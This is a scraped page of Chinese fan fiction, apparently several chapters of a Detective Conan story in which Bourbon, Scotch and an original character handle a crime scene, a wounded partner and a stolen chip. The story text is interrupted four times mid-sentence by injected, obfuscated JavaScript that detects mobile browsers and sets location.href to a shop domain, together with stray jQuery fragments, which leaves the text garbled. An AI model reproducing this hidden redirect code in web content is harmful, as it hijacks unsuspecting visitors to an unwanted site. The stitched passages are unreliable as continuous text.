RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16973477|192927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' FICE的顶层,一双擦得锃亮的黑色皮鞋踏入了满是灰尘的废弃办公室。 波本环视四周,一眼就看到了放置在办公桌上的一个小小的打火机。 那是苏格兰的。 他没急着去取,站在原地,看着门口那具尸体上——鸭志田英歪在地上,警服和警帽被血浸透,小腿处还有一个狰狞的弹孔,显然是中枪后跪倒在地。太阳穴上的致命伤贯穿颅骨,而他手边的地面上,还残留着另一枚弹壳。 一枪打腿,一枪爆头,还有一枪…… 波本的目光下移,落在鸭志田英身侧的警用对讲机上。 那台对讲机已经被打得稀烂,塑料外壳带着高温灼烧的痕迹,内部零件崩裂在周围,线路外露,透着些许违和感。看模样,像是有人刻意在近距离对着对讲机开了一枪。 有这个必要吗? 他从口袋里掏出一张白色手帕,小心翼翼地将破碎的对讲机捡起来翻看片刻,又随手丢回原地。接着,他弯腰在地板上摸索,很快找到了三种不同型号的弹壳。 波本捏着那枚狙.击枪弹壳,指尖轻轻摩挲着弹壳底部的纹路,眼底闪过一丝深思。 他站起身,走到墙角的导轨货梯旁,掀开金属盖板进行确认。内部空空如也,显然苏格兰已经成功将证物送走。 做完这一切,他缓步走到落地玻璃窗前,推开原本就破碎的玻璃窗,风瞬间灌了进来,吹起他额前的碎发。 他望着远处鳞次栉比的高楼,任由风与微尘掠过他的脸颊,缓缓握紧了手中的弹壳,眼色中闪烁着清晰的恨意。 组织派了莱伊来做双保险吗? 那个家伙…… 如果不是因为他,响酒不会贸然过世,苏格兰也不会遭受怀疑。 为什么他可以恬不知耻地活着? 不知站了多久,高楼之下遥遥传来警笛声,由远及近,越来越清晰。他低头瞥了一眼楼下街道上逐渐停下的几辆警车,红蓝警灯交替闪烁,脸上却不见丝毫慌乱,转身从容地离开了窗边。 他伸手拿起了苏格兰留下的银色打火机。这是二人之间约定的暗号,预示着任务完成且现场已无多余痕迹,可以直接处理。 他从口袋里取出手套戴上,指尖捏住那枚小小的打火机,另一只手抓起桌上蒙着灰尘的塑料布,猛地向上扬去。 “簌簌——” 塑料布划过桌面,扬起漫天微尘,在斜射的阳光中化作一层金色的薄纱。 波本退至门口,指尖摩挲着打火机的开关。 “咔哒”一声脆响过后,蓝色的火苗在气口微微颤动,热浪顺着气流缓缓升腾。 他将手腕一扬,那点火光如同流星般坠入漫天尘埃之中。 “轰——!” 剧烈的爆.炸声瞬间撕裂了顶楼的宁静,火焰裹挟着气浪向外喷涌,塑料布、木屑、灰尘在高温中急剧膨胀、爆裂。 鸭志田英的尸体、斑驳的血迹、破碎的对讲机……所有残留的痕迹,都在这场大火中被彻底湮灭。 火光稍歇后,只留下一间焦黑破旧的办公室,仿佛从未有人踏足过。 波本转身融入楼梯间的阴影里,消失无踪。 17.剪苏格兰衣服的途中 窗外的天光渐晚,最后一点亮色也没入楼宇缝隙。 安全屋内,苏格兰自行点亮了茶几上小台灯。光源不算明亮,将他的影子拉得很长。 他用指尖捏着茶几上的剪刀,小心翼翼地剪着袖口沾血的衣服。 血已经止住,皮肉与他的衣服粘在一起。刀刃不算锋利,他剪得慢,布料“咔嚓”一声轻响,在安静的屋里格外清晰。 白羽响从房间里提着医药箱走出来,看到苏格兰从怀里将烟盒拿了出来,搁在茶几上。 她一皱眉,走上前,将烟盒从他手边抽走。 “伤号不准抽烟。”白羽响晃了晃那盒烟之后,将它随手放到了高处。 苏格兰有些哭笑不得。 他伤的是手不是腿,也没打算要现在抽。 不过他还是领了她的好意,将目光放在了她刚搁在桌上的生理盐水上。 是要清理伤口? “我来。”白羽响说着,拿起了那个玻璃瓶。 她也不急着拧开,从急救箱里先取了纱布出来,拧开生理盐水的玻璃瓶,倒了些在纱布上。纱布吸饱水,垂在她的几指之间,一滴水沿着她的手指慢慢下淌。 苏格兰下意识伸出左手抽了一张纸,替她轻轻地把手臂上的水渍擦干,那张纸很快被白羽响接了过去。 “你别动,现在是我照顾你。” 她的神色很认真。而这种认真……很眼熟。 苏格兰没移开眼,保持着微微前倾的姿势,原本撑在沙发垫上的左手悬在半空,呼吸仿佛能蹭到彼此的衣角。 太近了。 近得仿佛能看清她睫毛上的细尘,能看清她瞳孔里自己的影子,看清她呼吸时垂在脸颊边的几缕碎发。 她转过身,将纱布上多余的盐水沥进旁边的白瓷盆里。水珠落进盆里,嘀嗒作响。背后的灯光拢着她的轮廓,在肩头描出一层朦胧的金边,苏格兰看着那道侧影,只一个短暂的失神之下,那张剪影就像一张空无一物的画作,在他的眼中化成了别的模样,逐渐与记忆里那个身影重叠了。 那是一张对于他来说,难以忘记的脸。 “在想什么?” 提问的下一秒,带着盐水湿意的指节就碰在了他的手腕上,冰凉的触感裹着一点掌心的温度,轻轻搭住他的手。 生理盐水浸过皮肉的瞬间,凉意顺着神经窜上来,他下意识想缩手,却被白羽响稍用力按住手腕。 她没看他,目光全落在那道沟状枪伤上,指尖捏着纱布边缘,轻轻擦拭着伤口周围的血痂,动作轻得像在在梳理一根轻柔的羽毛,连呼吸都放得很缓。 清理完血痂之后,她又从医疗箱里拿出一把小巧的手术刀,刃口刚过酒精灯,还泛着点烫红的光。 苏格兰还在想要怎么回答她的问题。 进入组织的这两年,他本以为会经历孤军奋战的痛苦,他也为此做好了觉悟,但他并没有过得如预想中那么痛苦。 久违的被人照料的感觉…… 不过,她似乎没有要刨根问底的准备,只是抬起了头看他。 “我要动手了。” 白羽响拿着手术剪刀朝他宣布道。 她的眼睛清澈如泉,就好像狰狞的创口并不可怕,那种自信又笃定的眼神似乎充满了力量。 苏格兰不再想那些,点了点头。 一剪刀下去,他还是蹙起了眉头。皮肉伤的痛觉让他牙冠咬紧,他不由将目光转开,看向周围。 搁置在桌子上的日历映入眼帘,前几天的日期上打了圆圈,上面标注着各种金额。他猛然想到了波本说的,她是个欠债多时的赌徒。 看这些记载的金额,不像是作假。但是…… 苏格兰的目光偷偷挪回白羽响的身上。 “你很熟练。”他顿了顿,继续说道,“驾驶、开枪、处理伤口……” 波本明明说过,她是个没接触过这些的新人。 理论上,她应该既没有驾照,也不会用枪。但到了任务开始的那天,她就像和传闻中变了一个人一样。 白羽响“嗯”了一声,没多解释。 她手里的动作没停,挑掉一小块坏死的皮肉后,撒上药粉,用棉签把它均匀覆在苏格兰的伤口上。 感受到了她的沉默不语,苏格兰微微有些黯然。 他不擅长打探他人秘辛。组织里的秘密,知道多了不一定是好事。 不过,以前响酒在饭桌上,曾经和他说起过一些比较私人的话题。 她说她的本名叫“乡音”,以前是个孤儿。从皮斯科把她从组织培养杀手的训练营中带走以后,她就变成了枡山家的养女。因为“乡音”两个字的日本字上下叠加就是一个“響”字,所以她获得了“响酒”的代号。 至于白羽响…… 她的履历与本领并不匹配,或许也是受到了这种“特殊培养”。 苏格兰想着这些事的时候,白羽响已经用绷带替他缠好了伤口,松紧度刚好,末尾还打了个漂亮的外科结。 结束了。 他松了口气。 这几天他来了白羽响的安全屋好几次,对这儿都快熟门熟路了。他从来没有和哪个组织成员走得这么近过,就算是响酒也不例外。 “谢谢。”他说道,“这几天一直受到你的照顾……” 可是白羽响完全没有要放他走的意思。 “别急,现在来处理你带血的衣服。”她搁下了手中的绷带和手术剪,拿着日常家用的剪刀,开始上下打量了苏格兰身上的血衣,“你说,我从哪里开始剪好呢?” “嗯?” 苏格兰盯着白羽响手中的剪刀,在一瞬间就明白了她的意思,微微睁大了眼睛。 他低头看着自己被血浸透的衣袖,又看了看白羽响手里的剪刀,尴尬得不知该怎么回答。 白羽响看着他的表情,嘴角抑制不住地扬了起来。 她承认她有故意的成分。 看着眼前的苏格兰涨红了脸,连耳尖都泛了粉,她的心情忍不住变好。 “我们从袖口开始处理吧?” 这话像在征求意见,却没给苏格兰反驳的机会。 她戴上乳胶手套,指尖捏着手套边缘利落套好,拿起剪刀对准他的袖口。那截袖子刚才在清理伤口的时候就被苏格兰剪得七零八落,此事落在她手里,更是一副任人摆布的模样。 刀刃一次又一次地落下,比苏格兰自己剪的时候要快多了。很快,那截沾血的布料就被她剪了下来,扔进旁边的金属盆里。 “当初看中这个安全屋,就是因为有排气扇。”白羽响一边说着,一边剪着,“烧东西的时候动静小,特别方便处理作案物品。” 说着,她的剪刀拐到他前胸的部分。 苏格兰心中警铃大作,整个人都绷紧了:“我、我自己脱了吧?” “嗯?不行的。”白羽响的眼尾都泛着笑意,把试图站起来的苏格兰按了回去,“你受着伤呢。” 怎么看,她的表情都像是对此相当享受。 苏格兰的脸一片潮红。 这作风也未免也太过熟悉。 从前某次任务他被人划伤了小腿的时候,响酒也做了类似的事情,为了处理沾血的衣物,割掉了他半个裤管……但那次也只是割了裤管而已,现在要被剪没的是他的整件上衣。 白羽响忍着笑,拿出认真无比的样子。 “放心,我不会让你衣不蔽体地离开的。” 安抚的话说完,那把剪刀的尖端已经朝着他的领口去了。 苏格兰不敢动弹,温顺地仰着头,任由银色的刀刃沿着布料缓缓推进。 剪刀划过的地方,布料朝着两边分开,紧实的胸肌线条逐渐显露出来。随着她在肩头最后一剪刀结束,残破的衣料松松垮垮地挂在他的肩头。 他努力地压抑着自己的呼吸,生怕灯在他胸前留下的光影浮动。 白羽响就在自己的身前慢悠悠剪着,仿佛是在应对一份重要的工作,无比认真。 苏格兰把发烫的脸转向光的阴影处,窘迫地听着那把剪刀“兢兢业业”的工作声。 也不知过了多久,那把剪刀总算完成了使命,那几块破碎的布料从他身上被揭走,她的目光也随之移开。虽然现在衣不蔽体, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979436|192927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但他反而松了一口气——至少现在,他不会再被白羽响的目光观察。 也不是厌恶她的目光,只是……自己的脸在不断发烫。 苏格兰对此有自知之明。 然而,还没等他一口气松完,白羽响像是已经预见了他会有片刻松懈,突然回头。 她调侃一般地问他:“冷?” “……没有。” 苏格兰再一次转开了目光。 火苗滋啦滋啦地响着,给屋内添了一重暖意,倒是不至于觉得冷。他看着白羽响蹲在地上烧着布料,不像在处理组织任务,倒像在应付朋友的麻烦事。 “谢谢。”苏格兰再次轻声说道。 白羽响抬头看了他一眼,应了一声。 她熟练地拆下了衣服上的金属边扣和拉链,用砂纸反复打磨,直到上面的品牌标识和磨损痕迹全被磨平才搁在一边。 她是自愿为苏格兰多做一些的,毕竟不知道在这声久违的道谢之后,他们的下一次搭档会是什么时候。她承认她对苏格兰有一些过度的保护欲——即使他的能力足够胜任,她也依然会对他放心不下。 正在这时,门铃突然响了起来,打破了屋中的宁静。 声音不大,却像一颗石子投进平静的湖面,让两人同时顿住了动作。 苏格兰的身体瞬间绷紧,下意识摸向了枪。他与白羽响交换了一个眼神,彼此都能看到显而易见的警惕。 这是白羽响的安全屋,知道地址的人寥寥无几。 白羽响的脸色没什么变化,只是指尖慢慢收紧了剪刀柄,拿了旁边的一条小毯子给苏格兰盖着。 然后,她放下剪刀,起身走向玄关,脚步放得很轻,路过餐边柜的时候,顺手抓起了一把放在那里的水果刀。 透过猫眼看了一眼之后,她回头看了一眼苏格兰之后,收起了水果刀,打开了门。 门外站着的人是波本。 白羽响侧身让开位置,让他进去。 波本迈步走进门的时候,目光第一时间落在沙发上的苏格兰身上,视线扫过他衣不蔽体地裹着毯子的模样,又瞥见了他胳膊上缠着的绷带。 他俊秀的脸上出现了一丝裂痕。 “你……” 他的目光在白羽响和剪刀之间转了个圈,语气里带着点难以置信的停顿。 “你们……” “我们怎么了?”白羽响理直气壮地拿起剪刀,转身就往火盆里添布条,火星被气流掀得跳了跳,“带血的衣服总得处理干净,他是伤员,难道让他自己动手?” 可,比起处理伤口和衣物…… 这看着更像是事后…… 波本盯着苏格兰完全陷入窘迫的脸看了两三秒,喉结动了动,深吸一口气压下眼底的异样,挪开目光。 他努力假装自己什么也没看见。 这种大家都很尴尬的场景,装作自己不尴尬的话,尴尬的就会是别人。 不过,显然白羽响没有尴尬的自觉,她只是很淡然地问波本:“出什么事了?” 波本立刻切换回正事口吻,与她说话:“我刚从现场过来,警方的动作很快,你们离开之后,那栋大楼的位置在十分钟内就暴露了。不过还好,处理干净了,查不到你们头上。” 不过,那真是好消息。波本出手,这件事应该算圆满解决了。 “那个黑警……”白羽响想起了鸭志田英,“警方会认为是殉职吗?” 回想起那人对苏格兰偷袭的一枪,她都觉得胆寒。 若是他那种贪心的家伙死了还能博得美名,她一定会嘲笑警方的愚蠢。 “那不可能。”波本斩钉截铁地回答了她的提问。随后,他的目光再次飘向了苏格兰的身体。他实在是觉得自己无法忽视这一幕,还是把自己的疑惑问出了口,“为什么他现在是这副模样?” 白羽响的目光从波本的身上转到苏格兰的身上,有些莫名其妙。 她以为刚刚自己已经回答过这个问题了。苏格兰受了伤,她照顾搭档,难道不是合情合理的吗? 只见波本啧了一声,拽了白羽响一把:“你跟我出来。” 18.坐在波本身上的时候 “你不该把组织成员带进自己的安全屋。”波本一路拽着她的手往外走,“你们之间不存在信任关系,他的伤也没重到要照料的地步。附近有的是地下诊所。” 白羽响被他拽得踉跄了两步。 这具身体的力量远不如从前,挣了几次都没挣脱,只能被他拖着从昏暗的楼道往下走。 终于到了楼下,白羽响猛地发力甩开他的手。 “他需不需要照料,我说了算。”她皱眉看了一眼,手腕上已经留下几道红痕,“不是所有人都像你一样,任务结束后把搭档扔在路边不管。他是右利手,伤了胳膊连喝水都费劲。” 波本的眼底闪过一丝挣扎,随即又被强势的态度覆盖:“你是在指责我不尽责?” 白羽响揉了揉发疼的手腕:“我是在陈述事实。” 比起合作,波本这种神秘主义者更适合单干。他本事不小,合作态度却很不讨人喜欢。 尤其是一想到他把自己安排进这个危险的任务中,当甩手掌柜一样离开了,她的心里就觉得不舒服。 他该不会觉得这番“替她考虑”的话,会得到她的感谢和认同吧? 波本因为她的话脸色有些不太好看,二人僵持了几秒钟。 “组织里有人最近在频繁监视苏格兰。”波本压低了声音,“你不该把他藏进安全屋,会引来麻烦的。” 白羽响没有吭声。 之前从苏格兰那里听到任务内容的时候,她就猜到了。此时从波本嘴里确认了消息,她点了点头。 她甚至有一种直觉,苏格兰是因为她的死才遭受了组织的怀疑。 或许波本确实在为她考虑,但她有自己的坚持。 “你就当我不识时务吧。何况我已经把他留下来了,总不能再撵出去。”白羽响顿了顿,继续说道,“我要去便利店弄点吃的,别再跟着我了。” 说完,她不再看波本的脸色,转身就往外面的方向走,脚步干脆,没有一丝犹豫。 波本站在原地,看着她的身影消失在巷口,指尖无意识地攥紧。 不久后,他转身上楼,再次敲响了门。 苏格兰打开门。他的身上套上了一件宽大的风衣,领口松垮地垮在肩头,脸上似乎还残留着未散的窘迫。 波本努力地无视了他那张疑似被人“吃干抹净”的脸,走进屋子关上了门。 “对讲机……” “子弹……” 两个人同时开口,苏格兰示意波本先说。 波本也不谦让,问道:“你开枪打穿了对讲机吗?” 苏格兰摇了摇头:“没有。” 得到他反应的一瞬间,波本的脸色变得相当难看。 那个对讲机被近距离击穿,弹痕角度绝非远程狙.击所能造成。 是白羽响动的手。 “她有问题。”波本的目光变得锐利,“我去和她‘谈谈’。” 与此同时,巷口的白羽响并没有直接去便利店,而是绕进了一条更深的僻静小巷。 她左右扫视一圈,确认了无人尾随,也没有监控,才从衣服的内袋里摸出一个小纸包。 打开纸包,赫然出现了一个指甲盖大小的黑色芯片,边缘是都是烧痕。 这正是组织让苏格兰盗取的证物。 白羽响用指尖小心翼翼地捏着它,借着远处微弱的光仔细观察。 在废弃办公室中,她趁着苏格兰的注意力转移,故意对着对讲机补了一枪。 表面是“确保目标死亡”,实则是为了崩裂对讲机外壳,趁机拆出核心芯片,再用旁边散落的金属碎片塞进去充数,神不知鬼不觉地完成了替换。 她知道这很危险。 一旦组织后续检查对讲机残骸,发现物证被替换,她和苏格兰恐怕都会没有好下场,但她还是决定这么做了。 这是她重生以来,知道的唯一与自己死亡相关的线索。 鸭志田英死于远距离的狙.杀,那一枪的风格明显。 那种准头与自信很熟悉。 或许莱伊没有死,在组织中的行动一切正常。 因此,她临时起意,大胆地做了替换之举。 现在的她就像是一个货真价实的赌徒,赌善后工作天衣无缝,也赌组织并无法对一块被打烂的芯片做出分析。 这件事代价高昂,但她要弄清楚组织想要回收这份物证的目的。 巷口传来零星的脚步声,白羽响立刻把东西塞回了口袋,压下心头的思绪,转身走出小巷,朝着不远处亮着暖黄灯光的便利店走去。 晚饭尽量选能够用手拿的。 她在便利店挑了金枪鱼海苔饭团、玉子烧,又拿了温牛奶。 拎着一袋子的东西,她朝着安全屋走去,脑子里还在琢磨那份证物。 从外表来看,它像一个集成电路的一部分,或许是芯片之类的东西。这种东西的编码需要专业的设备才能读取,组织的技术部门肯定能做到,但她不可能求助组织里的人;可是如果找外部黑客,又很容易引火上身——毕竟她现在可是打劫警方证物的罪犯。 看来只能先把芯片藏好,等找到安全的解码方式再说。 刚走到安全屋楼下,一辆轿车突然滑到面前。白羽响吃了一惊,下意识摸向口袋,随后意识到那辆车有些眼熟。 车门打开,波本快步走出来,再一次拽住了她的手,也不管她是否愿意,将她拽入了车内。 一声轻响之后,车门被锁死,狭小的空间里瞬间安静了下来。 “又怎么了?” 白羽响皱着眉头看着握着方向盘神色凝重的波本。 波本转过头来,盯着她的脸,一字一句地说道:“你破坏了鸭志田的对讲机,还把物证换走了。” 这两句话中没有疑问,而且带着一种笃定。 压迫感挺足的。 白羽响的眼皮轻微颤动,随后迎着他的目光微微笑了起来:“波本,你是在讲故事吗?” 刚刚波本敲响安全屋的门时,她就已经预料到或许会被对方看穿。不过他的手上不见得有证据,她不认就是了。 “别装作一副不知道的样子!”波本朝着她的方向逼近了一些,二人的距离近在咫尺。他伸出手握住了白羽响的手腕,眼中的怒火几乎要喷薄而出,“近距离枪击,现场只有你和苏格兰。他否认了,不是你还能是谁?白羽响,你会害死他的!” 害死他? 从波本情急之下的话中,白羽响捕捉到了一些微妙的信息。 波本和苏格兰的关系不错。 甚至会在意苏格兰的生死。 “苏格兰建议我温和点,让你自愿交出来。”波本的手攥成拳头,“但依我看,你油盐不进,没必要浪费那个时间。” 白羽响有些吃惊。 他要动手? “你想怎样?”白羽响伸出手,朝着自己随身携带的小刀摸去。 波本冷笑一声:“我猜,这么重要的东西,你一定会随身携带吧。” 话音刚落,他突然伸手朝白羽响的衣领抓来。 白羽响已有准备,侧身避开,同时从靴筒里摸出一把小巧的折叠刀,“咔哒”一声弹开刀刃,朝着他的胸口划去。 刀光划过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983656|192927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他胸口的布料,波本动作一顿,有些惊讶,随即冷哼一声,继续进攻。 狭小的车厢里,两人瞬间扭打在一起。 白羽响力气不如他,却灵活得像猫,辗转腾挪间总能避开他的攻击,折叠刀在她的指尖翻飞,好几次都擦着他的皮肤划过。 波本的脸色相当难看。 “你应该听苏格兰的。”白羽响再一次用刀划过他的侧脸,削掉了他的几根头发,“他看人可比你准,我吃软不吃硬。” “呵,真是小看你了。”波本一把按住她的手腕,将她压在座椅上,“还真是不巧,我也一样!” 就在他说话的功夫,白羽响猛地抬腿,膝盖顶向他的腰腹,趁着他吃痛松手的瞬间,翻身而上,整个人跪坐在他的小腹上。 她用手中折叠刀的刀尖稳稳抵住波本的脖颈,波本瞬间僵住。 “别动。” 白羽响深吸一口气,裹着未平的喘息,带着一丝难以察觉的疲惫。 幸亏她有武器,而波本没拔枪。 此时她跪坐在波本的小腹上。 她的膝盖压住了波本的腰线,身体因方才的扭打累得发颤,额前汗湿的碎发贴在脸颊,几缕甚至垂落到他的锁骨处,随着呼吸轻轻晃动。 危机暂时解除,她收敛了杀意。 “别动,波本。” 她将那句话重复了一遍,伸出另一只手,搭在他的肩上,随后轻轻垂下了脑袋,将头贴在了他的前额。 波本下意识停下了反抗的动作,喉结不受控制地滚动了一下。 白羽响叹了一口气。 如果动手威胁了她的人不是波本,她会毫不犹豫将刀插进了他的脖子里。 但她不想这么做,也不能这么做。 波本对苏格兰境况的担忧与她如出一辙,他们的目标是一致的,没必要在这里内耗。 何况,从剑拔弩张到打斗僵持,短短的三分钟不到的时间,她的力气几乎耗尽。如果波本执意争这份证物,她会落下风。 但她觉得,波本的底线很灵活。即使选择了和她动手,依然会有谈判的空间。 “让我猜猜看。”她顿了顿,“你虽然想要那份东西,但也不打算交给组织。” 波本的目光挪动了一瞬,似乎想要扭头,被她抓着下巴拖了回来。 白羽响再次把声音放轻了些,带着一种近乎耳语的质感,气息拂过他的下颌:“组织是什么德行你很清楚——东西交上去,我会死,苏格兰也会被认为办事不利。我劝你多一事不如少一事。” 波本的胸膛在随着她的话语起伏。 车内一时瞬间陷入安静,只有两人粗重的呼吸声交织在一起。 “不管是你把我卖了,还是我现在杀了你……”她的手松了些,“这种损人不利己的事,我们最好都别做。” 波本的喉结滑动了一下:“说说你的打算?” 他强势的口吻消失了,声音和目光一并软和了下来。 看来谈判有望。 白羽响松了口气。 两年没见,收起了不可一世模样的波本,看起来还是那么乖巧伶俐。 她伸出手指,在他的脸颊上轻轻划过。几天前她在任务中与波本扮演情侣,甚至亲了他,可是现在,他们却面临着一场博弈。 她要确保波本妥协……无论用什么办法。 正想着,耳边传来了“叩叩”两声。 清脆的敲击声落在车窗上,像一盆冷水浇灭了无形的暧昧与紧绷。 白羽响回过头去,只见苏格兰正站在窗外,目光平静地注视着二人交叠的身影。 19.三人同屋 意识到苏格兰就站在窗外看着,白羽响条件反射般收回了刀,踉跄着从波本身上翻下来。 后背撞在了副驾车门上,她手忙脚乱地捋了捋被扯乱的衣领,先坐了下来。 波本也没好到哪儿去。他正在试图拽平西装褶皱,偏过头假装整理后视镜,耳尖还红着。 那点强装镇定的窘迫让二人谁也没说话。 车窗缓缓降下,裹着宽大风衣的苏格兰站在车外。 他蓝灰色的眼睛扫过一片狼藉的车内——脚垫上撒着米粒,座椅缝隙粘着玉子烧上的沙拉酱,白羽响的衣领沾着饭粒,而波本还在整理他西装袖口蹭到的半片海苔。 看来就在他出现之前,场景一度十分激烈。 即使知道他们是在打架,但是这场景实在很像偷情被抓包一般。 苏格兰在心里调侃了一句,又怕二人面皮薄闹翻了,只能强忍着笑意,收回目光,语气平淡地说道:“我饿了。” 他对幼驯染的行为逻辑有数,也不是那种会掐着点催饭的人。但他担心他俩真的起了冲突,所以特地下楼来,递个台阶,让他们停止争吵。 他的话成功转移了两人的注意力。 白羽响率先回头扫了眼自己的周围。 牛皮纸袋被压得变了形,饭团散成一团,玉子烧混着金枪鱼糊在一块儿,只剩两盒没开封的牛奶,孤零零地滚在座椅底下。 “饭……” 她刚想和苏格兰解释,波本就清了清嗓子,抢在她前面开口:“今天的事就先到这儿,我还有事——” 这算什么?逃离案发现场吗? “闯了祸就想跑?”白羽响伸手揪住他的领带,力道没轻没重,“饭是你刚才扑过来时掀翻的!” 波本被她扯得倒吸一口冷气,脖子上的红痕被摩擦得生疼,火气立刻也上来了。 “遭殃的是我的车!” “你活该,你先动的手!” 苏格兰眼看着二人即将再次发生冲突,下意识嘴唇动了动,刚想出声制止,就见白羽响松开了波本的领带,又一把拽住了他的胳膊。 她用力地拖了波本一把:“重新做一份!上楼,你下厨!” “我做?”波本差点笑出声,语气里满是不可思议,指着地上的两盒牛奶,“你本来也没买我的份,凭什么让我做?” “牛奶是给苏格兰今天和明天的份,饭团我特意多带了一个,本来想让你也垫垫肚子。”白羽响松开手,指了指被波本一脚踢到脚垫上的饭团,语气理直气壮,“我可不像你一样心胸狭隘!” 波本回头看了一眼自己的脚下,自知理亏地沉默了下来。 “你做不做?”白羽响再次问道。 站在车外的苏格兰看着这一幕实在是没忍住,嘴角悄悄勾了勾,又很快压下去。 他清了清嗓子:“没关系,我什么都能吃。” 这句话的作用是一锤定音。 波本不可置信地看着苏格兰眼底的促狭,又扭过头,迎上了白羽响那副不答应就别想走的表情,到了嘴边的反驳硬生生咽了回去,没好气地哼了一声。 他的语气弱势了两分,尝试着商量:“我现在去再买一份。” “不行。”白羽响眉毛一扬,“你不准离开我的视线,我怕你一回头就把我卖了。” “我……” 波本还没来得及说什么,就见白羽响朝着苏格兰伸手:“苏格兰,借瓦.尔特一用。” 苏格兰将半张脸埋在风衣里,眨了眨眼睛:“我没带下来。” 什么意思啊!波本用哀怨的眼神看了苏格兰一眼。 他看得出,白羽响和苏格兰不过相处了几天,就迅速达成了一种没有来由的信任。半个小时前他和苏格兰单聊,怀疑白羽响并且准备对付她的时候,苏格兰明知她形迹可疑,还在为她开脱。 白羽响竟然打算借苏格兰的枪威胁他!而且苏格兰还没拒绝,这事儿在他心里过不去了! 不过他再怎么不乐意,还是跟着一同上了楼。 白羽响带着波本走进厨房,打开了冰箱。冰箱里是有食材的,刚刚之所以非要去光顾便利店,其实是为了甩开波本,并确认那件证物的情况。 谁料波本看完,沉默了几秒钟,开口问道:“我真的不能出门去买吗?” “当然不能。”白羽响白了他一眼,“你跑不了。” 波本嘴角抽了抽,求助一般地看了一眼苏格兰。 而此时的苏格兰竟然杵在厨房门口,问白羽响:“现在还要枪吗?” “那倒是不用了。或者我们干脆把他的枪缴了?”白羽响和苏格兰商量,“毕竟波本看起来很危险。” “喂!” 波本很生气,对他们两个都是。 两个人默契地收了声,不再逗他了。 波本认命地叹了口气,指尖捏着黄油盒边缘,指腹蹭到盒盖的油渍,眉头皱得能夹死苍蝇。 白羽响看着他这副生疏模样,突然想起以前他带自己去高档餐厅,熟稔地点单、品酒的样子,忍不住噗嗤一声笑出来,拍了拍他的肩膀:“加油,大厨。” 厨房里称得上鸡飞狗跳。 波本差点把黄油当成奶酪扔进锅里,煎鸡蛋时被油溅到了手,最后干脆放弃煎蛋,直接把金枪鱼罐头倒进有着碎蛋的锅里,浇上热牛奶,又抓了把米饭拌了拌,递给了身边的白羽响。 白羽响凑过去看了眼。 碗里的米饭黏糊糊的,金枪鱼块没搅开,牛奶还冒着热气。 “这是猫饭吗?”她毫不留情地嘲笑他的手艺。 “凑活着吃吧。”波本小声说着,红着脸轻轻推了她一把。 好歹是热腾的,蛋白质也足,应该还是挺有营养的。 没想到在组织中叱咤风云的情报组新秀,竟然也有不擅长的事情。 白羽响没再逗他,转身从另一个锅里捞出水煮西兰花,摆进碗里当点缀。绿莹莹的西兰花衬着奶白色的饭,倒也没那么难看了。 苏格兰用单手把盘子端了出去,三个人坐了下来。 看着放在桌上的“美食”,舀了一口尝了尝,点了点头:“好吃。” 说着,他又舀了一口,慢腾腾地咽下去,仿佛那真是一道美食。 白羽响知道他不挑嘴。前几天没煮开的面,他也说“好吃”,但此刻看着他认真吃饭的模样,心里还是觉得忍不住柔软。 苏格兰看起来很是享受,像是一只得到了投喂的猫。 于是白羽响也坐下来,拿起另一碗,尝了一口。 金枪鱼的咸香混着牛奶和黄油的醇厚,米饭吸饱了汤汁,暖乎乎的顺着喉咙滑下去,竟然真的不难吃。 她不由看了一眼波本,没有吝啬夸奖:“你还真有点做饭天赋。” 波本以为她在逗他,半信半疑地尝了一口,眉头瞬间舒展开来。 没有了火药味,大家都在闷头吃饭,谁也没有说话。 吃完饭,波本起身:“我去处理车里的饭渍。” 他要下楼。 要放他走吗? 她正想着,就看到苏格兰轻轻用手将桌上的纸巾朝波本的方向推了推。 苏格兰不会随便对一件事表态。这个动作是一种暗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998175|192927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 示,暗示他的态度是同意的。 于是白羽响不再戒备,将纸巾和清洗剂递给波本。 波本下楼后,房中只剩她和苏格兰两个人了。 “我还以为那家伙的脾气比起清洗应该更愿意干脆换辆车。他大概很快就会走。”她说道,随后看了一眼楼下的方向,“你呢……今晚要住下来吗?” 苏格兰原本松弛的神色瞬间有些滞涩,他的眸光动了动,没立刻答应,像是在犹豫。 白羽响没急着要他的答案,伸出手将面前的碗筷收拾进了厨房。 